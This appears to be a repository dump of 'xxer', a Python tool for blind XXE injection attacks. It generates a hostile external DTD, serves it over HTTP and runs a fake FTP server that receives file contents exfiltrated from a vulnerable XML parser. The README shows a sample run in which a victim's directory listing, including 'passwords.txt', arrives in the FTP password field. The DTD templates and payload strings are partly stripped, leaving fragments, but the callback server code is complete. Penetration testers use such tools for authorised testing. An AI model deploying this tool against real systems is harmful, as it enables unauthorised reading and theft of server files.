├── README.md └── xxe ├── error.client_file.dtd.template ├── ext.dtd ├── run.bat ├── error.dtd.template ├── ftp.dtd.file.template ├── ftp.client_file.dtd.template ├── ftp.dtd.template ├── payload.txt ├── LICENSE ├── README.md └── xxer.py /README.md: -------------------------------------------------------------------------------- 1 | # XXEpayload -------------------------------------------------------------------------------- /xxe/error.client_file.dtd.template: -------------------------------------------------------------------------------- 1 | "> -------------------------------------------------------------------------------- /xxe/ext.dtd: -------------------------------------------------------------------------------- 1 | "> -------------------------------------------------------------------------------- /xxe/run.bat: -------------------------------------------------------------------------------- 1 | python xxer.py --http=1234 --hostname=x.x.x.x --dtd=ftp.dtd.file.template --ftp=2121 -------------------------------------------------------------------------------- /xxe/error.dtd.template: -------------------------------------------------------------------------------- 1 | "> -------------------------------------------------------------------------------- /xxe/ftp.dtd.file.template: -------------------------------------------------------------------------------- 1 | "> -------------------------------------------------------------------------------- /xxe/ftp.client_file.dtd.template: -------------------------------------------------------------------------------- 1 | "> -------------------------------------------------------------------------------- /xxe/ftp.dtd.template: -------------------------------------------------------------------------------- 1 | "> -------------------------------------------------------------------------------- /xxe/payload.txt: -------------------------------------------------------------------------------- 1 | %aaa;%ccc;%ddd;]> -------------------------------------------------------------------------------- /xxe/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /xxe/README.md: -------------------------------------------------------------------------------- 1 | # xxer 2 | A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by [ONsec-Lab](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb). Rewritten here because I don't like Ruby. 3 | 4 | Basically, this doesn't actually find XXE injection for you, it helps you deal with getting useful information back once you've found a vulnerable input. For actually finding vulnerable injection points, I recommend using a small HTTP payload and some sort of DNS callback service like [Burp Collaborator](https://portswigger.net/burp/help/collaborator.html). If Collaborator reports a DNS lookup, followed by an HTTP request, then you're good to go. 5 | 6 | ## Target Audience 7 | If you can explain what XXE injection is and how to find it, this is for you. If not, check out [vulnd_xxe](https://github.com/TheTwitchy/vulnd_xxe). 8 | 9 | ## Examples 10 | 11 | ### Options 12 | ``` 13 | root@kali:~$ xxer.py -h 14 | usage: xxer [-h] [-v] [-q] [-p HTTP] [-P FTP] -H HOSTNAME 15 | 16 | XXE Injection Handler 17 | 18 | optional arguments: 19 | -h, --help show this help message and exit 20 | -v, --version show program's version number and exit 21 | -q, --quiet surpress extra output 22 | -p HTTP, --http HTTP HTTP server port 23 | -P FTP, --ftp FTP FTP server port 24 | -H HOSTNAME, --hostname HOSTNAME 25 | Hostname of this server 26 | -d DTD_FILE, --dtd DTD_FILE 27 | The DTD file used for the XXE attack 28 | 29 | Originally from https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp- 30 | server.rb, rewritten in Python by TheTwitchy 31 | ``` 32 | 33 | ### Basic Usage 34 | ``` 35 | root@kali:~$ xxer.py -H kali.host.com 36 | 37 | _ _ _ _ ___ ___ 38 | |_'_|_'_| -_| _| 39 | |_,_|_,_|___|_| 40 | 41 | version 1.0 42 | 43 | info: Starting xxer_httpd on port 8080 44 | info: Starting xxer_ftpd on port 2121 45 | info: Servers started. Use the following payload (with URL-encoding): 46 | 47 | %aaa;%ccc;%ddd;]> 48 | 49 | 50 | 127.0.0.1 - - [23/Apr/2017 20:59:04] "GET /ext.dtd HTTP/1.1" 200 - 51 | info: FTP: recvd 'USER fakeuser' 52 | info: FTP: recvd 'PASS aaaaaaaaaadescriptivefoldername 53 | IRS_LETTERS_2014_ANGRY 54 | passwords.txt 55 | pictures_of_ex_hi_def 56 | pictures_of_ex_ultra_hi_def 57 | szechuan_sauce_recipe.pgp 58 | TAXES2012 59 | Taxes2013 60 | TAXES2015 61 | Temporary Internet Files 62 | ' 63 | info: FTP: recvd 'TYPE I' 64 | info: FTP: recvd 'EPSV ALL' 65 | info: FTP: recvd 'EPSV' 66 | info: FTP: recvd 'RETR b' 67 | ``` 68 | 69 | ## "Features" 70 | * Only has one exfiltration point (currently, the FTP password). Obviously this can be changed up as needed, but may require some basic code changes (specifically in the FTP handlers). 71 | * Install via ``pip``. Needs at least a requirements.txt or a setup.py. For now just clone and run. 72 | * Currently serves up everything in the folder in which it was run over HTTP. Probably not a huge security risk, but something you should be aware of, especially on a public server. 73 | * Integrated server file/directory browsing as a future upgrade? 74 | 75 | ## Troubleshooting 76 | * I don't get a callback over HTTP to retrieve ``ext.dtd``. 77 | * This could mean a number of things, mostly related to not being vulnerable to XXE: 78 | * External entities may be disallowed. This can be done by rejecting DOCTYPE decclarations in documents, which I believe prevents XXE injection. 79 | * It may also allow entities, but disallow entities from remote sources. I've seen this on some Python XML libraries. 80 | * Outbound traffic could be blocked at a firewall, or requests may only go to whitelisted hosts. 81 | * There could also be a typo in the payload or a bug. Check the generated ``ext.dtd`` file to make sure everything looks correct. 82 | * If you get some sort of parsing error, make sure you apply URL encoding (or remove it, I dunno) to the payload. Basically make sure you have the "correct" amount of encoding. 83 | * The initial HTTP callback for ext.dtd works, but after that I see nothing. 84 | * This could mean that FTP as a protocol is disabled server-side. Try changing the FTP callback in ``ext.dtd`` to an HTTP one, like ``">``. If you get a callback to the /b document, this is probably the case. Try using the gopher protocol as well, but this was removed in Java 1.6.32 (or something close). 85 | -------------------------------------------------------------------------------- /xxe/xxer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # SocketServer code borrow liberally from https://pymotw.com/2/SocketServer/ 4 | 5 | # Application global vars 6 | VERSION = "1.1" 7 | PROG_NAME = "xxer" 8 | PROG_DESC = "XXE Injection Handler" 9 | PROG_EPILOG = "Originally from https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb, rewritten in Python by TheTwitchy" 10 | DEBUG = True 11 | 12 | httpd = None 13 | ftpd = None 14 | 15 | # Application imports. 16 | 17 | # Python 2/3 imports 18 | try: 19 | from SimpleHTTPServer import SimpleHTTPRequestHandler 20 | except ImportError: 21 | from http.server import SimpleHTTPRequestHandler 22 | 23 | try: 24 | from SocketServer import TCPServer 25 | except ImportError: 26 | from socketserver import TCPServer 27 | 28 | import sys, signal, threading, time, os, socket 29 | 30 | 31 | class FTPserverThread(threading.Thread): 32 | def __init__(self, conn_addr): 33 | conn, addr = conn_addr 34 | self.conn = conn 35 | self.addr = addr 36 | threading.Thread.__init__(self) 37 | 38 | def run(self): 39 | self.conn.send('220 Welcome!\r\n') 40 | while True: 41 | data = self.conn.recv(1024) 42 | if not data: 43 | break 44 | else: 45 | print_info("FTP: recvd '%s'" % data.strip()) 46 | if "LIST" in data: 47 | self.conn.send("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n") 48 | self.conn.send("150 Opening BINARY mode data connection for /bin/ls\r\n") 49 | self.conn.send("226 Transfer complete.\r\n") 50 | elif "PORT" in data: 51 | self.conn.send("200 PORT command ok\r\n") 52 | elif "RETR" in data: 53 | self.conn.send('500 Sorry.\r\n\r\n') 54 | else: 55 | self.conn.send("230 more data please!\r\n") 56 | 57 | 58 | class FTPserver(threading.Thread): 59 | def __init__(self, port): 60 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 61 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 62 | self.sock.bind(("0.0.0.0", port)) 63 | threading.Thread.__init__(self) 64 | 65 | def run(self): 66 | self.sock.listen(5) 67 | while True: 68 | th = FTPserverThread(self.sock.accept()) 69 | th.daemon = True 70 | th.start() 71 | 72 | def stop(self): 73 | self.sock.close() 74 | 75 | 76 | class HTTPdTCPServer(TCPServer): 77 | def server_bind(self): 78 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 79 | self.socket.bind(self.server_address) 80 | 81 | 82 | # Try to import argparse, not available until Python 2.7 83 | try: 84 | import argparse 85 | except ImportError: 86 | print_err("Failed to import argparse module. Needs python 2.7+.") 87 | quit() 88 | # Try to import termcolor, ignore if not available. 89 | DO_COLOR = True 90 | try: 91 | import termcolor 92 | except ImportError: 93 | DO_COLOR = False 94 | 95 | 96 | def try_color(string, color): 97 | if DO_COLOR: 98 | return termcolor.colored(string, color) 99 | else: 100 | return string 101 | 102 | 103 | # Print some info to stdout 104 | def print_info(*args): 105 | sys.stdout.write(try_color("info: ", "green")) 106 | sys.stdout.write(try_color(" ".join(map(str, args)) + "\n", "green")) 107 | 108 | 109 | # Print an error to stderr 110 | def print_err(*args): 111 | sys.stderr.write(try_color("error: ", "red")) 112 | sys.stderr.write(try_color(" ".join(map(str, args)) + "\n", "red")) 113 | 114 | 115 | # Print a debug statement to stdout 116 | def print_debug(*args): 117 | if DEBUG: 118 | sys.stderr.write(try_color("debug: ", "blue")) 119 | sys.stderr.write(try_color(" ".join(map(str, args)) + "\n", "blue")) 120 | 121 | 122 | # Handles early quitters. 123 | def signal_handler(signal, frame): 124 | global httpd 125 | global ftpd 126 | 127 | try: 128 | httpd.server_close() 129 | except: 130 | pass 131 | 132 | try: 133 | ftpd.stop() 134 | except: 135 | pass 136 | 137 | print("") 138 | quit(0) 139 | 140 | 141 | # Because. 142 | def print_header(): 143 | print(" ") 144 | print(" _ _ _ _ ___ ___ ") 145 | print("|_'_|_'_| -_| _|") 146 | print("|_,_|_,_|___|_| ") 147 | print(" ") 148 | print("version " + VERSION) 149 | print("") 150 | 151 | 152 | # Argument parsing which outputs a dictionary. 153 | def parseArgs(): 154 | # Setup the argparser and all args 155 | parser = argparse.ArgumentParser(prog=PROG_NAME, description=PROG_DESC, epilog=PROG_EPILOG) 156 | parser.add_argument("-v", "--version", action="version", version="%(prog)s " + VERSION) 157 | parser.add_argument("-q", "--quiet", help="surpress extra output", action="store_true", default=False) 158 | parser.add_argument("-p", "--http", help="HTTP server port", type=int, default=8080) 159 | parser.add_argument("-P", "--ftp", help="FTP server port", type=int, default=2121) 160 | parser.add_argument("-H", "--hostname", help="Hostname of this server", required=True) 161 | parser.add_argument("-d", "--dtd", 162 | help="the location of the DTD template. client_file templates allow the filename to be specified by the XXE payload instead of restarting the server", 163 | default="ftp.dtd.template") 164 | return parser.parse_args() 165 | 166 | 167 | # Main application entry point. 168 | def main(): 169 | global httpd 170 | global ftpd 171 | 172 | # Signal handler to catch CTRL-C (quit immediately) 173 | signal.signal(signal.SIGINT, signal_handler) 174 | signal.signal(signal.SIGTERM, signal_handler) 175 | 176 | argv = parseArgs() 177 | 178 | # Print out some sweet ASCII art. 179 | if not argv.quiet: 180 | print_header() 181 | 182 | # Begin application logic. 183 | 184 | if not os.path.isfile(argv.dtd): 185 | print_err("DTD template not found.") 186 | return -1 187 | elif os.path.isfile("ext.dtd"): 188 | print_info("Old DTD found. This file is going to be deleted.") 189 | 190 | print_info("Generating new DTD file.") 191 | fd_template = open(argv.dtd, "r") 192 | dtd_str = fd_template.read() 193 | dtd_str = dtd_str.replace("%HOSTNAME%", argv.hostname) 194 | dtd_str = dtd_str.replace("%FTP_PORT%", str(argv.ftp)) 195 | fd_dtd = open("ext.dtd", "w") 196 | fd_dtd.write(dtd_str) 197 | fd_template.close() 198 | fd_dtd.close() 199 | 200 | # For httpd, derve files from the current directory 201 | httpd_handler = SimpleHTTPRequestHandler 202 | httpd = HTTPdTCPServer(("0.0.0.0", argv.http), httpd_handler) 203 | 204 | print_info("Starting xxer_httpd on port %d" % (argv.http)) 205 | t_httpd = threading.Thread(target=httpd.serve_forever) 206 | t_httpd.setDaemon(True) 207 | t_httpd.start() 208 | 209 | print_info("Starting xxer_ftpd on port %d" % (argv.ftp)) 210 | 211 | t_ftpd = FTPserver(argv.ftp) 212 | t_ftpd.setDaemon(True) 213 | t_ftpd.start() 214 | ftpd = t_ftpd 215 | 216 | # Prompts are different depending on the template 217 | if (argv.dtd == "ftp.dtd.template" or argv.dtd == "error.dtd.template"): 218 | print_info("Servers started. Use the following payload (with URL-encoding):\n\n" \ 219 | "%%aaa;%%ccc;%%ddd;]>" \ 220 | "\n\n" % (argv.hostname, argv.http)) 221 | elif (argv.dtd == "ftp.client_file.dtd.template" or argv.dtd == "error.client_file.dtd.template"): 222 | print_info("Servers started. Use the following payload (with URL-encoding):\n\n" \ 223 | "%%aaa;%%ccc;%%ddd;]>" \ 224 | "\n\n" % (argv.hostname, argv.http)) 225 | else: 226 | print_info("Servers started. Custom template detected, sample payload unknown.\n\n") 227 | 228 | while True: 229 | time.sleep(1000) 230 | 231 | 232 | if __name__ == "__main__": 233 | main() 234 | quit(0) 235 | --------------------------------------------------------------------------------